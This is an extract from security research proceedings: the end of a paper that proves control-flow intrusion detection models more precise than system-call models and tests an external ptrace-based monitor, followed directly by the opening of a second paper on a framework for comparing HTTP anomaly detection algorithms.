v (basic block sequences considered valid by them are EX

v andEY
v ).

Next, we can state another result that helps reduce the size of the essential basic block
set. Restricting feasible execution of a program reduces the set of essential basic blocks
without loss of precision:

Corollary 4. For any program with valid execution language Ev , feasible execution
Ef and essential basic blocks Be, if the feasible execution is constrained such that
E′

f ⊆ Ef , then the new essential basic block set is B′
e ⊆ Be.

4.2 Comparing Precision of Practical Systems

Using our framework, we now analyze the precision of several recent host based intru-
sion detection systems. We first consider models built via static analysis. CFI confines
execution in a statically built CFG. Furthermore, it ensures that return addresses are
valid by using a protected shadow stack. Suppose that the execution sequences that are
paths in the CFG, conforming to proper function call and return semantics, constitute
the valid execution language Ev .

We now identify the essential control-flow events. Like CFI, we assume the pres-
ence of NWC. As recognized by Abadi et al., any dynamically computed control-flow
transfer may feasibly target any basic block. Since they can generate invalid sequences
regardless of previous control flow, they are independent anomaly generators (IAG).
Returns from functions are dependent anomaly generators (DAG) because they can gen-
erate anomalies during an impossible path attack [33]. They are correlated with prior
function calls, which are anomaly correlating (AC) events. Therefore, Be contains all
basic blocks that have such instructions. Notice that branch instructions, which have
static target addresses are not anomaly generators because both target blocks are valid
according to the static CFG.

The blocks in Be are exactly those covered by CFI. Therefore, if ECFI
v is the basic

block sequences considered valid by CFI, then according to Corollary 2, ECFI
v = Ev ,

making CFI the most precise statically constructed sequence based model. Any other
system call approach based on static analysis [9, 31, 16, 13] considers the basic block
sequences ES

v as valid, where Ev ⊆ ES
v . Therefore, CFI subsumes all system call

sequence based IDS built on static analysis.
Dynamic analysis based approaches relying on execution language E′

v ⊆ Ev that
are more restrictive than statically constructed models. The system call sequence based
models utilizing dynamic analysis [12, 10, 15] recognize basic block sequences ES′

v as
valid where ES′

v ⊆ ES
v . When compared with CFI, we cannot say that ES′

v ⊆ ECFI
v ,
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nor can we say that ECFI
v ⊆ ES′

v . Our formal framework therefore proves the intuition
that neither of the approaches are more precise than the other. Each may detect attacks
that the other does not. However, according to Corollary 1, a more precise control-flow
model for dynamic analysis exists. Such an approach will be as precise as E′

v , becoming
fundamentally more precise than the system call based counterpart because E′

v ⊆ ES′

v .

5 Incomplete Analysis and Hybrid Approaches

The precision of control-flow sequence models depends on the exposure of control-
flow events in a program. To be as precise as possible, the essential basic blocks at
least need to be identified and covered. This is generally straightforward for source
code or for binaries with compiler generated hints. However, due to known undecid-
able problems [25] there is no static or dynamic binary analysis technique that guaran-
tees complete coverage of code for arbitrary binaries. In such situations, an unchecked
control-transfer instruction may be exploited by an attacker without being detected by
a control-flow sequence based approach. On the other hand, system-call based methods
achieve complete coverage of system calls by default because the system call interface
can be completely mediated.

A trend toward combining the power of control flows with system calls is evident
from PAID [23] with its recent improvements [24]. Intuitively, the advantage of a hybrid
approach is that even if an attacker can escape the control-flow verification and execute
injected code, a system-call based check should be able to detect invalid system call
sequence. However, we show that hybrid sequence approaches are not fundamentally
more precise than control-flow sequence based approaches even in the case of incom-
plete binary analysis. One point to note is that PAID considers system call arguments,
but since our framework does not consider data, the theoretical results are applicable to
sequence based hybrid approaches only.

5.1 The Effect of Incomplete Analysis

In order to help us analyze the effect of models resulting from incomplete analysis, we
consider the models that would have resulted if the program could have been analyzed
completely. Assume the original definitions of Ev , Cv , Bv and Be to hold for the models
found in the complete case. Let B′

v be the discovered set of basic blocks and E′
v be the

valid execution language due generated due to incomplete analysis. Let the essential
basic blocks for the incomplete case be B′

e.
The following theorem proves that if the events from the essential basic blocks in

the discovered region (B′
e) are exposed by a control-flow based scheme, then the IDS

detects any attack that exploits a control-transfer instruction in the undiscovered region.

Theorem 4. Any feasible execution sequence e that uses an anomaly generating (AG)
control-flow event from a basic block in b ∈ Bv − B′

v is not in E′
v .

Proof. Without loss of generality, we can assume that e started in the known region of
code, i.e. in the blocks B′

v . Since b /∈ B′
v , prior to any control-flow event emanating

from b there must be a control-flow event that transitions outside from B′
v . Such an

event is of the form c = (b1, b2) where b1 ∈ B′
v and b2 /∈ B′

v. This event c has to be
an anomaly generating event (AG) because it turns a valid sequence invalid. Therefore,
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b1 ∈ B′
e and accordingly is exposed. A simplified control-flow model will therefore

detect it as an anomaly, resulting in e /∈ E′
v.

Hence, as long as the essential blocks in the discovered region of code are exposed and
checked, there can be no undetected attacks that try to exploit unchecked transfers in
the undiscovered code.

5.2 Hybrid Models

We can represent hybrid models consisting of both system call and control-flow infor-
mation in our framework in order to analyze their precision. The alphabet of our hybrid
language is ΣH = ΣC ∪ ΣS , containing both control-flow events and system calls. We
can formally describe the derivation as a homomorphism hh, which has the effects of
hs to add system call information from any basic block, and the effects of hce to keep
a subsequence of exposed control-flow events from blocks in Bh. The homomorphism
hh : Σ∗

C → Σ∗
H is defined as following:

hh((b1, b2)) =

⎧
⎪⎪⎪⎨

⎪⎪⎪⎩

(b1, b2)s, b1 ∈ Bh and b2 calls s ∈ ΣS

(b1, b2), b1 ∈ Bh and no syscall in b2

s, b1 /∈ Bh and b2 calls s ∈ ΣS

ε, otherwise

Using the above homomorphism, the valid sequence model for the hybrid language
Hv can be found from the comprehensive control-flow langauge Cv , by Hv = hh(Cv).
Compared to the pure control-flow and the system-call based models, hybrid models
constrain both the control-flow and system call sequences. Therefore, the basic block
sequences considered valid by the hybrid model are not less constrained than other two.
Assume that the basic block sequences considered valid by a hybrid, a control-flow
sequence and a system call sequence models are EH

v , EC
v and ES

v respectively. The
following corollary can be very easily derived from our framework.

Corollary 5. If a hybrid model and a pure control-flow sequence model expose the
control-flow events from the same set of basic blocks, then EH

v ⊆ EC
v and EH

v ⊆ ES
v .

The above shows the relative precision of the three approaches in the general case.
However, we will show that in the case that the essential basic blocks are exposed,
hybrid models and control-flow models become equal in precision.

It can be proved in a manner similar to Theorem 3 that Cv = h−1
cs (Hv) ∩ Cf when

the essential blocks are exposed, i.e. Bh = Be. Therefore, basic block sequences con-
sidered valid by the hybrid model then becomes precise as the valid execution language,
i.e. EH

v = Ev . Therefore:

Corollary 6. If all essential basic blocks Be are exposed, then a hybrid model is equiv-
alent in precision to a control-flow model, i.e. EH

v = EC
v = Ev ⊆ ES

v .

All that is required to make control-flow based approaches as precise as hybrid models
is the coverage of essential basic blocks. We have also seen in the previous section that
even for incomplete binary analysis, it is sufficient to cover essential basic blocks in
the discovered region of code. Moreover, it is straightforward to identify essential basic
blocks in the discovered region of code. Therefore, this shows that control-flow based
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approaches can be as precise as hybrid models in all cases; hybrid approaches do not
have any fundamental advantage over control-flow models. Further research in creating
more precise hybrid models may not be fruitful because eventually these systems will
become precise enough to make the system call information in the models redundant.

6 Control-Flow Based IDS Using External Monitoring

Traditionally, system call based IDSes have used an external monitor. CFI uses efficient
inlined monitoring to keep the overhead of monitoring at the fine-grained control-flow
level low. Although control-flow based methods have been proven to be more precise
than system calls, using an external monitor would provide a fair comparison of per-
formance between the two paradigms. We provide evidence against the intuition that
an external monitor shifting to this control-flow interface will incur significant over-
head. We implement and evaluate a precise control-flow based approach built on static
analysis and using external monitoring.

External monitoring has several advantages including easier development and de-
bugging. It can also be easily deployed as a centralized security service. Moreover, it is
a more generalized approach that does not rely on tricks to protect memory access to
the inlined model or require hardware features such as NXD.

Our external monitor reduces the number of control-flow events that require expo-
sure without losing model precision. We used a run-time program transformation to
restrict the feasible executions of a program and hence reduce essential basic blocks.
We begin by presenting the implementation details and then demonstrate the validity
of the implementation by testing detection of multiple synthetic attacks and real attacks
against a collection of test programs. Finally, our performance tests show a surprisingly
low cost for external monitoring at the control-flow level.

6.1 Construction Via Static Binary Analysis and Rewriting

Our selection of control-flow instructions to model and monitor is similar to CFI. Our
model contains a list of valid target addresses for each dynamically computed control-
transfer instruction, and a PDA-like stack that stores calling context used to validate the
targets of function returns. Like CFI, sequence information is not explicitly required;
the stack checks the subsequences of calls and returns. We first construct the static
CFG of a program. Then, for each control-transfer instruction that has a dynamically
computed target, we use the CFG to identify valid target addresses.

Our system constructs models for dynamically-linked Linux ELF binaries on the
x86 architecture. We use DynInst [19], a binary analysis and instrumentation library,
as our low-level static analyzer. The one-time model construction procedure rewrites
the binary program to expose control-flow operations to the external monitor. We use
DynInst to replace monitored control-flow instructions with single-byte software break-
points (the INT3 instruction) that can be securely intercepted by an external monitor.

That monitor limits the program’s execution by the model every time the program
is subsequently loaded for execution. Using the ptrace system call, the monitor inter-
cepts the software breakpoints previously inserted by DynInst. For each interception,
the target of a control transfer is extracted from the program’s context or memory. This
method of extracting control-flow information ensures that an attacker cannot pass fake
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information to the monitor. We implemented the control-flow model itself as a hash ta-
ble. We key the table on value pairs—a source and destination address for control-flow
events. The hash table is sparse with few collisions, providing O(1) average time com-
plexity for lookups. After verification, as DynInst had overwritten the original control-
flow instructions with breakpoints, the monitor emulates the execution of the clobbered
control flow before returning execution control to the monitored process. During execu-
tion, our system also intercepts dynamic library loads and updates the model with valid
target addresses for indirect jumps that use the GOT.

An external monitor requires context switches into and out of the monitor at every
event. We reduce the number of events that the monitor checks by restricting feasible
execution of a program (Corollary 4). We use a transformation similar to function in-
lining. By creating duplicate copies of functions and replacing function call and return
instructions with static jump instructions, we remove the necessity of exposing these
control transfers to the monitor. In order to reduce code space explosion, we apply a hot
code optimization that first identifies function calls executed at a high rate at run-time
and then performs this transformation. The monitor uses DynInst to alter the code of
the monitored process during execution. We ensure that the memory region where the
inlined copy resides is write-protected by invoking necessary kernel services.

6.2 Attack Detection

Our approach has the same precision as inlined CFI. We evaluated the attack detection
ability of our system after first ensuring the static analyzer and our implementation
introduced no false positives for our test programs on normal workloads. We conducted
two types of experiments: detection of real attacks against standard Linux programs
and detection of various arbitrary code execution attacks against a vulnerable synthetic
program.

Our first test evaluated the ability of the external monitor in detecting actual attacks
against Linux programs with published vulnerabilities and exploits (Table 1). We en-
sured that the exploits successfully worked on the vulnerable programs. We then con-
structed models for each program and used our system to monitor the execution of each
program. As expected, the IDS successfully detected every attack before arbitrary code
was executed.

Second, we tested the ability of the control-flow based model to detect a collection
of injected code and existing code attacks against a synthetic program. The program
contains a vulnerability that allows an attacker to write anywhere in data. We created
synthetic exploits that modify various code pointers inside the applications’ memory:
return addresses on the stack, global offset table (GOT) entries used for locating shared
library functions, and function pointers. We tested each control-flow modification with
three different classes of targets: injected code, code in the middle of a function, and

Table 1. Detection capability of external control-flow IDS on real applications

Application Vulnerability type Exploit code URL Detected

imapd 10.234 Stack buffer overflow [3]
√

thttpd 2.21 Stack buffer overflow [4]
√

indent 2.2.9 Heap overflow [1]
√

GnuPG 1.0.5 Format string vulnerability [2]
√
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Table 2. Detection of synthetic tests for various kinds of arbitrary code execution

Attack Step Injected Existing (inside function) Existing (function start)

Change return address
√ √ √

Modify GOT
√ √ √

Modify function pointer
√ √ ×

the entry point of a libc function. Table 2 contains the results of our synthetic attack
detection tests.

In all but one synthetic test, our IDS successfully detected the attacks when execution
was about to be diverted before the code executed. For the failed test, our IDS missed
the attack due to the imprecision introduced in the statically-recovered CFG of the
binary code at indirect calls. The target address was a valid function entry point and
was thus classified as a normal control-flow transfer by our model. This imprecision
demonstrates a shortcoming of static binary analysis that may not be present in static
source code analysis or in dynamic analysis.

6.3 Performance Impact of External Control-Flow Monitoring

We evaluated the performance overhead on several real-world applications by measur-
ing the execution-time overhead on programs representing both I/O-bound and
CPU-bound applications. Table 3 summarizes the results. All timing values represent an
average over 5 executions. We first measured each application’s average unmonitored
runtime, shown in the results as “Base time”. To determine the time cost of external
monitoring of control flow, we then ran the programs with our external monitor. “Mon-
itored time” indicates monitored program execution time. We additionally show the
percentage increase in execution time and the percentage increase in program code size
due to function body replication during the hot code optimization.

These results show that an external monitor can efficiently detect attacks at the fine-
grained control-flow level. Our hot code optimization inlining functions called at high
rates effectively balanced the need for fast execution verification with the need to use
extra memory responsibly. For example, the I/O-bound applications such as httpd
and cat incurred a low monitoring overhead and therefore no inlining of code was
performed. On the other hand, inlining was crucial for the CPU-bound and function-
call-bound program gzip for which the crippling performance loss of over 4,000%
was brought down to only a 23.1% degradation in speed for an 11.3% increase in space.
For comparison, the Dyck model [17] produced a 3% overhead for cat for which our
system incurs a 1.2% overhead. The earlier model, however, had a 0% overhead for
gzip, which has a main loop that repeatedly calls functions to compress or decompress
data, making only a few system calls. The Dyck model hence can be efficient for this

Table 3. Performance results for various applications. Time values are in real-time units.

Application Base time (sec) Monitored time (sec) Time overhead Inlining space overhead

thttpd 20.40 21.23 4.0% 0.0%
SQLite 55.44 66.04 19.1% 8.8%

gzip 11.03 13.59 23.1% 11.3%
cat 10.06 10.18 1.2% 0.0%
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program. Our model instead adds overhead due to the initial control-flow checks and
the run-time program transformation needed to optimize away the function calls.

Our control-flow model requires considerably less memory than system call based
models such as VPStatic [9] or PAID [23] because it is similar to a single-state PDA. In
summary, our IDS ties the power of precise control-flow checks with the convenience
of external system call monitoring while keeping performance comparable to previous
system-call based approaches.

7 Conclusion

We presented a formal framework for understanding and comparing the attack detection
capability of anomaly detection approaches that characterize normal program execution
behavior by modeling and monitoring a set of program generated events. In our prin-
cipal contribution, we showed that for any system call sequence based approach, there
always exists a more precise control-flow based approach. In order to derive more effi-
cient and simplified models, we provided the theory behind selecting essential control-
flow events that require exposure. In addition, we proved that control-flow models are
more precise even in the case of incomplete analysis, showing that hybrid approaches
that include system calls provide only redundant detection. Finally, we used the ideas
of reducing essential control-flow events in the program with appropriate transforma-
tions in order to make external monitoring at the control-flow level feasible. Our static
analysis based approach provides better precision while having performance overhead
comparable to previous system-call based approaches.
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Abstract. Much data access occurs via HTTP, which is becoming a
universal transport protocol. Because of this, it has become a common
exploit target and several HTTP specific IDSs have been proposed as
a response. However, each IDS is developed and tested independently,
and direct comparisons are difficult. We describe a framework for test-
ing IDS algorithms, and apply it to several proposed anomaly detection
algorithms, testing using identical data and test environment. The re-
sults show serious limitations in all approaches, and we make predictions
about requirements for successful anomaly detection approaches used to
protect web servers.
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1 Introduction

The Hypertext Transfer Protocol (HTTP) [14] has become a universal transport
protocol. For example, it is used for file sharing [19], payment processing [12],
remote procedure calls [29], streaming media [1], and even protocols such as
SSH [40]. Custom web applications and the rush toward Web Services [3] mean
that in the future, we can expect heavier use of HTTP. Robertson et al. [32]
claimed that many web applications are written by people with little expertise
in security and that web-based vulnerabilities represent 25% of the total security
flaws reported in the Common Vulnerabilities and Exposures list (CVE) [5] 1999
through 2005.

The importance of HTTP and the security problems have led many researchers
to propose intrusion detection systems (IDSs) for use with HTTP. Unfortunately,
the proposed IDSs suffer from one or more of the following problems:

– The proposed IDS is not fully described and the source code is not available.
– The test data is not available, preventing a direct comparison.
– The test data is not labeled, preventing replication.
– The test data is not representative of traffic seen today.
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To address this problem, we describe a framework for comparing IDS algo-
rithms, and we use this framework to compare several anomaly IDS algorithms
under identical circumstances. This framework1 and the attack data2 are open
source to encourage further experimentation. Under more rigorous testing, not
all algorithms perform as well as the initial tests showed, and we discuss why
some algorithms do better than others.

Three basic architectures of IDSs exist: signature detection, specification, and
anomaly detection. We focus in this paper on anomaly detection. Signature de-
tection systems cannot detect novel attacks, while specification systems require
skills well beyond those commonly used when developing web applications. Ad-
ditionally, whenever the protected program changes, the specification must be
updated. Although we test only anomaly IDSs, the framework can be applied to
signature and specification based algorithms as well.

The organization of the paper is as follows. The following section, Section 2,
sets the stage by describing previous IDS testing, with a focus on systems de-
signed for HTTP. We then briefly describe the test framework and test data in
Section 3. The specific algorithms we tested are described in Section 3.3, fol-
lowed by the test results in Section 4. Our discussion of the results follows in
Section 5, while Section 6 concludes the paper with a summary of our results
and a discussion of future work.

2 Prior Work

There are at least two reasons to testing IDSs: (1) to verify that an algorithm
is effective and efficient at detecting attacks, and (2) to compare two or more
algorithms to determine the better under various metrics.

Most IDS testing is little more than asking, “Does the IDS detect one or a few
attacks?” Better are researchers who ask the question, “Which of the following
attacks can the IDS detect?” Even this testing is often acknowledged as weak.

Good testing is repeatable; the data are available to other researchers facili-
tating direct comparisons of the results, the training data are representative of
real systems, and the attack data accurately represent the diversity of attacks.
A good test also compares two or more valid approaches (i.e., no straw man
arguments). The results of a good test should provide guidance about which
system or algorithm performs best under different circumstances. To this point,
most IDSs for web servers have been weakly tested, and/or the tests are limited
in their scope. In their review of IDS testing, Athanasiades et al. state that they
do not believe this problem will ever be properly solved [2].

There are several explanations for the scarcity of good IDS testing. Identi-
fying appropriate data is difficult—the data must be representative of realistic
operating conditions. Data collected live from a network might be subject to
1 The parser, framework and algorithm implementation code is available from the

Comprehensive Perl Archive Network (CPAN) at
http://cpan.org/modules/by-authors/id/I/IN/INGHAM/

2 The attack data is available at http://www.i-pi.com/HTTP-attacks-JoCN-2006/

http://cpan.org/modules/by-authors/id/I/IN/INGHAM/
http://www.i-pi.com/HTTP-attacks-JoCN-2006/
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privacy concerns. Synthetic data must be shown to represent real data on a tar-
get network accurately. In order to test an IDS, researchers need a collection of
intrusions and vulnerable machines on which to test the intrusions. Because a
library of intrusions represents a threat to vulnerable systems, researchers often
use disconnected networks for testing to ensure that the attack does not escape
into unprotected networks.

Setting up and maintaining a good, protected network is resource-intensive,
both in the costs of the hardware, as well as in system administration support
to set up and maintain a diversity of machines needed to ensure a good test
environment. Exploits are specific to operating system and version, as well to to
specific compilers, libraries, and other software. An intrusion is likely to fail if
any part of the execution environment is different than expected. Because of this,
a machine, or virtual machine, may be required for each new intrusion added to
the attack corpus.

Finally, Debar noted that a set of criteria for evaluating an IDS does not exist
[11]. Even if such criteria were available, the most careful comparisons, such as
Warrender et al. [39], lack enough information to be repeatable.

2.1 Frameworks for Testing

A framework for testing is one way of reproducibility by providing a setup in
which different IDSs can be tested under identical conditions. Three researchers
or research groups have established such frameworks:

– The first published papers about an IDS testing framework and methodology
were from Puketza et al. [30,31] at UC Davis. Unless they failed to publish
further work, they built the framework and then tested only one IDS: NSM
[17,18].

– Wan and Yang [37] developed a framework for testing sensors that used
the Internet Engineering Task Force (IETF) Intrusion Detection Working
Group (IDWG) Intrusion Detection Message Exchange Format (IDMEF) [6].
Their framework might be useful, but the paper describes only a preliminary
version.

– IBM Zurich [11] set up a laboratory for testing IDSs. Their normal data came
not only from recordings of user sessions, but also from the IBM test suites
for the AIX operating system. While this test suite is not representative of
actual user interactions, it exercises normal functionality of the product.

2.2 Data Sets for Testing HTTP IDSs

Using a good data set is critical for the test. The training and test data must
be representative of the web server(s) to be protected, and the attacks used for
testing need to illustrate the diversity of attacks existing today. Given the diver-
sity between web sites, the ideal situation is to use data collected from the server
to be protected. These data often have privacy issues associated with them, pre-
venting other researchers from using it and thereby hindering repeatability. This
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tension has resulted in some researchers using open, less-representative data,
while others use closed but more accurate data sets.

The DARPA/MIT Lincoln Laboratories IDS tests of 1998 and 1999 produced
the most prominent data sets [15,24]. Many researchers in IDS research used
these data because large data sets are scarce and the dataset provides an im-
mediate comparison with the original Lincoln Labs test. Open datasets allow
comparison of methods, but careful analysis of the relevant papers is required to
combine and compare the results. Furthermore, differences in testing method-
ologies make direct comparison difficult.

However, this data set is not without its critics. McHugh [27,28] pointed out
that the DARPA/MIT Lincoln Laboratories IDS test used generated data, but
the MIT researchers never did any tests to show that the generated data was
representative of real data. Additionally, they did no tests to verify that their
attacks were representative of real attacks. The Lincoln Labs data set is also
quite dated, as web behavior has evolved significantly over the years.

When testing IDSs for HTTP, researchers using the Lincoln Labs data sets
have only four web attacks. When systems developed using these data are tested
on a broader data set, their performance suffers; confirmation of this assertion
appears in this paper. In spite of these limitations, Wang and Stolfo [38], Ma-
honey [25], and Mahoney and Chan [26] Vargiya and Chan [36] used one or
both of these data sets for testing their IDSs, at least a portion of which were
for protecting web servers. Estévez-Tapiador et al. [13] used these data as nor-
mal behavior, but they developed their own attack database to supplement the
attacks in the Lincoln Labs data.

Recognizing the shortcomings of the Lincoln Labs data, other researchers have
used test data that is more representative for the servers the IDS is protecting.
However, these data are unavailable for others to use, eliminating direct com-
parisons. For example, Kruegel et al. [22,23] tested their system using extensive
normal data sets from multiple sites (including Google).3 For a portion of their
12 attacks, they used attacks against software that ran on one of their data
source web servers. Wang and Stolfo [38] used data collected from their depart-
mental web server as an additional source of data, but they did not filter attacks
from the data and therefore used it only for testing the training. Tombini et
al. [35] collected data from two production web servers, one academic, and one
industrial, with a combined total of over five million HTTP requests from web
server log files. Estévez-Tapiador et al. [13] used 1500 attack requests repre-
senting variants of 85 distinct attacks, the largest attack database reported to
date.

Another important HTTP data issue is how much of the HTTP request the
IDS used. While most attacks to date have been in the requested resource path,
some attacks target other regions of the request. For example, Apache Sioux [8]
exhausts Apache’s memory by a repeated header line. Wang and Stolfo [38], in
different experiments, modeled the packet payload, the first and last 100 bytes,

3 The Google data was not even available to the researchers; they sent their programs
to Google, who returned the results.



46 K.L. Ingham and H. Inoue

and also the first 1000 bytes of the connection. Kruegel and Vigna and Kruegel
et al. [22,23] obtained their test data from web server log files, and only looked
at CGI programs. Web server log files are a popular data source; Tombini et al.
[35] and Robertson et al. [32] also used them. Unfortunately, log files contain
only a small portion of most HTTP requests, and attacks not in the resource
path are unlikely to appear in the log files.

3 Experimental Setup

To perform rigorous tests of HTTP IDS algorithms, the test circumstances and
data must be identical. Testing requires data representative of what production
web servers receive. Quality test data is difficult to obtain; organizations with the
most interesting data typically consider it confidential. Therefore, we collected
data for testing from four web sites. The attack data needs to be representative
of the broad range of attacks existing today. Since, as we noted in Section 2.2, no
public database of attacks exists, we compiled our own. Due to space limitations,
full details of the experimental setup are described by Ingham [20].

3.1 Data

The normal data set is a collection of HTTP requests received by to the Univer-
sity of New Mexico Computer Science departmental web server (cs.unm.edu),
as well as aya.org, explorenm.com, and i-pi.com. The training data was from
one week, and the normal test data is from the following week. All attacks were
filtered from the data using a combination of snort and manual inspection. All
the data sets contain the entire HTTP request.4 These include information not
usually found in the log files. Having the HTTP header lines allows testing for
attacks not contained in the requested resource path.

The attack database contains 63 attacks, some of which are variants of the
same vulnerability—either a different exploit for the same vulnerability or the
same exploit against a different operating system. We include the variants be-
cause some IDS algorithms will find some variants easier to detect than others.
As one example, some of the Nimda variants are short, allowing detection by
the length algorithm, while others are average length.

The attacks were collected from the following sources: Attacks against web
servers under test (attacks in the wild); BugTraq and the SecurityFocus archives
http://www.SecurityFocus.com/; theOpenSourceVulnerabilityDatabasehttp:
//www.osvdb.org/; thePacketstormarchiveshttp://Packetstorm.widexs.nl/;
and Sourcebank http://archive.devx.com/sourcebank/. In many cases, the
attack programs from these sources contained bugs, and we had to modify the
program before it would produce malicious web requests. Note that we did not
test to verify whether the attacks produced could actually compromise the tar-
geted web application.

4 These data were captured using a snort filter which reconstructs the application
layer portion.

http://www.SecurityFocus.com/
http://www.osvdb.org/
http://www.osvdb.org/
http://Packetstorm.widexs.nl/
http://archive.devx.com/sourcebank/
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The attack database contains the following categories of attacks: buffer over-
flow; input validation error (other than buffer overflow); signed interpretation
of unsigned value; and URL decoding error. The attacks targeted different web
servers: Active Perl ISAPI; AltaVista Search Engine; AnalogX SimpleServer;
Apache with and without mod php; CERN 3.0A; FrontPage Personal Web
Server; Hughes Technologies Mini SQL; InetServ 3.0; Microsoft IIS; NCSA;
Netscape FastTrack 2.01a; Nortel Contivity Extranet Switches; OmniHTTPd;
and PlusMail. The target operating systems for the attacks include the follow-
ing: AIX; Linux (many varieties); Mac OS X; Microsoft Windows; OpenBSD;
SCO UnixWare; Solaris x86; Unix; VxWorks; and any x86 BSD variant.

3.2 The Algorithm Test Framework

A framework allows testing a collection of algorithms in the same environment,
ensuring that each algorithm is working under identical conditions. By provid-
ing a common interface, testing any IDS algorithm that uses this interface is
straightforward, and the surrounding support code is reused. The framework for
running the tests was designed to work with anomaly detection algorithms, but
it is general enough to work with signature and specification systems—these sys-
tems simply need no training before testing. As an example, it was easy to write
an IDS algorithm object to use snort signatures for HTTP requests. Detailed
descriptions of the test framework are available in [20].

Some algorithms require that the data be tokenized. For these algorithms,
we implemented a parser that breaks the HTTP request into tokens based on
the those specified in the HTTP standard, RFC 2616 [14]. The tokens are a
combination of the token type (e.g., method) and optionally the value (e.g., GET).
In practice, most of the values are necessary to properly distinguish attacks from
normal requests. The result is a stream of tokens combined with the associated
values.

Instead of using tokens, some algorithms use a string representation for the
request. This (much simpler) representation is also available from the parser.

3.3 Algorithms

We consider algorithms from Kruegel and Vigna [22], who developed a linear
combination of six measures (length, a character distribution measure, a Markov
Model, presence/absence of parameters, order of parameters, and whether para-
meter values were enumerated or random), and applied them to CGI parameters.
For some of the six algorithms, we also consider them in isolation. We also im-
plemented the character distribution metric described by Wang and Stolfo [38],
and the DFA induction and n-grams described by Ingham et al. and Ingham
[21,20].

These algorithms are either proposed by often cited papers in the IDS com-
munity, similar to those algorithms but using different data or representations,
or successful in related domains. In short, we tested algorithms claimed to be or
likely to be successful in HTTP-based anomaly intrusion detection.
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Request Length. Observing that buffer overflows and cross-site scripting at-
tacks tend to be longer than normal CGI attribute values, one measure used by
Kruegel and Vigna [22] was the mean μ and variance σ2 of attribute lengths.
These values were calculated from training data.

For testing, the system calculated the probability p that an attribute would
have the observed length l by:

p =
σ2

(l − μ)2

Character Distributions. Buffer-overflow attacks often have a distinctive
character distribution. Two research groups have compared the character distri-
bution of test instances to the distribution in the training data. Wang and Stolfo
[38] used a character distribution metric on similarly-sized packets. Kruegel and
Vigna [22] used a character distribution as one of six tests.

Mahalanobis distance. Wang and Stolfo [38] measured the Mahalanobis distance,
d, between two distributions. For efficiency reasons they used a measure they
called the simplified Mahalanobis distance:

d(x, y) =
n−1∑

i=0

| xi − yi |
σi + α

< ∞

n is 256 for the ASCII character set. The α term is a smoothing factor so that the
distance does not become infinite when σi is 0. Wang and Stolfo did not specify
how they calculate α; for the results reported in this paper, α = 0.001. Wang
and Stolfo set the distance threshold to 256 (one standard deviation). Using this
value means that rare distributions are anomalous; consequently it reports false
positives even when tested on the training data set.

Our implementation differs with Wang and Stolfo’s slightly. They correlated
packet length with character frequencies. Our data consists only of the data
at the application layer; the raw packets containing the data were not stored.
Therefore, we apply this method to the complete request. Note that while the
different packet sizes may have a given character distribution, an attacker can
easily control the packet size, allowing them to use packets of a size with a better
match for the character distribution.

χ2 of idealized character distribution. As one of six tests, Kruegel and Vigna
[22] use a measure of relative character frequency. They produced a sorted list
of character frequencies fc containing the relative frequency of the character c.
Their example is the string passwd, where the absolute frequency distribution is
2 for s, 1 for a, d, p, and w, and 0 for all other characters. The relative frequencies
are then f = (1

3 , 1
6 , 1

6 , 1
6 , 1

6 , 0, ..., 0); note that f6 through f256 are 0. Kruegel and
Vigna noted that relative frequencies decrease slowly for non-attack requests,
but have a much steeper decline for buffer overflows, and no decline for random
data.
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They called the character distribution induced from the training data the
idealized character distribution (ICD) and noted that

∑256
i=1 ICD(i) = 1.0. As

mentioned in the prior paragraph, the ICD is sorted so most common frequency
is ICD(1) and the least common is ICD(256). ICD is calculated during training
as the average over the character distributions of the requests in the training
data.

For testing, they binned the ICD (the expected distribution, calculated through
training) and the distribution of the test request (observed distribution) into six
bins as follows:

Bin 1 2 3 4 5 6
i 1 2–4 5–7 8–12 13–16 17-256

where i ∈ [1, 256]. For example, bin 4 contains
∑12

i=8 ICD(i). Once binned, they
then use a χ2 test to determine if the character distribution of CGI parameter
values is similar to that of the training data:

χ2 =
6∑

i=1

(Oi − Ei)2

Ei

where Ei is bin i for the ICD, and Oi is bin i for the observed distribution. χ2 is
compared to values from a table and the corresponding probability is the return
value.

CGI Parameter Measures. Kruegel and Vigna [22] used three different ob-
servations about CGI parameters. First, they noted that since CGI parameters
are set programmatically, the normal order of the parameters is fixed. If a hu-
man generates the path, the order could be different, and they presumed this
change indicated a potential attack. For similar reasons, they also noted CGI
parameters are supplied even when they have no value. The result is a regularity
in the number, name, and order of the parameters. Their system learned the
parameters present for a given CGI program path. When testing an instance,
the return value is 1 if the same parameters appeared in the training data as in
the test instance, and 0 otherwise.

Similar to the presence and absence test, Kruegel and Vigna noted that some
CGI parameter values are selected from a finite set (enumerated), and others
are effectively random. In the training phase, they test to see whether the num-
ber of parameter values stays small compared to the number of examples. If it
does, then the parameter values are enumerated and the algorithm performs no
generalization. Otherwise, it accepts any value during testing.

DFA. We use a one-pass, O(nm) DFA induction algorithm where n is the
number of samples in the training data set and m is the average number of tokens
per sample. The algorithm does not require negative examples. This algorithm
is described in detail by Ingham et al. [21].

A DFA by itself is simply a language acceptor; however, we expect some
variation in normal behavior not incorporated in the DFA induction algorithm.
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When testing, the algorithm notes when it is unable to make a transition on a
token. If a state exists which is a destination of that token, the DFA is adjusted
to that state. If not, the algorithm uses the next token and tries again. The
number of missed tokens is used to calculate the similarity s between the DFA
model and an HTTP request:

s =
# of tokens reached by valid transitions

# of tokens in the HTTP request
∈ [0, 1]

The similarity measure reflects the proportion of the request requiring changes
for the DFA to accept the request. Using proportionality instead of a raw miss
count allows complex requests to have greater variability than simpler ones.

Markov Model. A Markov model is a nondeterministic finite automaton (NFA)
with probabilities associated with the transitions. A Markov model differs from a
DFA in that multiple transitions might exist for a given token, and a probability
is associated with each transition. The probability of a given string of tokens can
be calculated as the sum of the probabilities of each independent path through
the NFA that can generate the string of tokens. The probability of a given path is
the product of the probabilities of each of the transitions, and this probability is
interpreted as the similarity measure for the testing. Similar to a DFA, a Markov
Model represents the structure of the HTTP request through a directed graph.

For an anomaly detection system, the traditional approach is to build an
NFA that exactly matches the training data. Through a series of state merging
operations, it is compressed and hence it becomes more general (and, as a side
effect, it becomes a DFA with probabilities). For more details about Markov
model induction, see the work by Stolcke [34] and Stolcke and Omohundro [33].
Warrender et al. noted that building a generalized Markov model is O(n2) [39].

Markov models have been shown to be an effective but time-consuming algo-
rithm for system-call based intrusion detection [39]. Kruegel and Vigna [22] used
a Markov model as a portion of the IDS for protecting web servers, but after
noting that the probability of any given request string is small, they used their
Markov model as a DFA, noting only whether or not the model was capable of
generating the string in question.

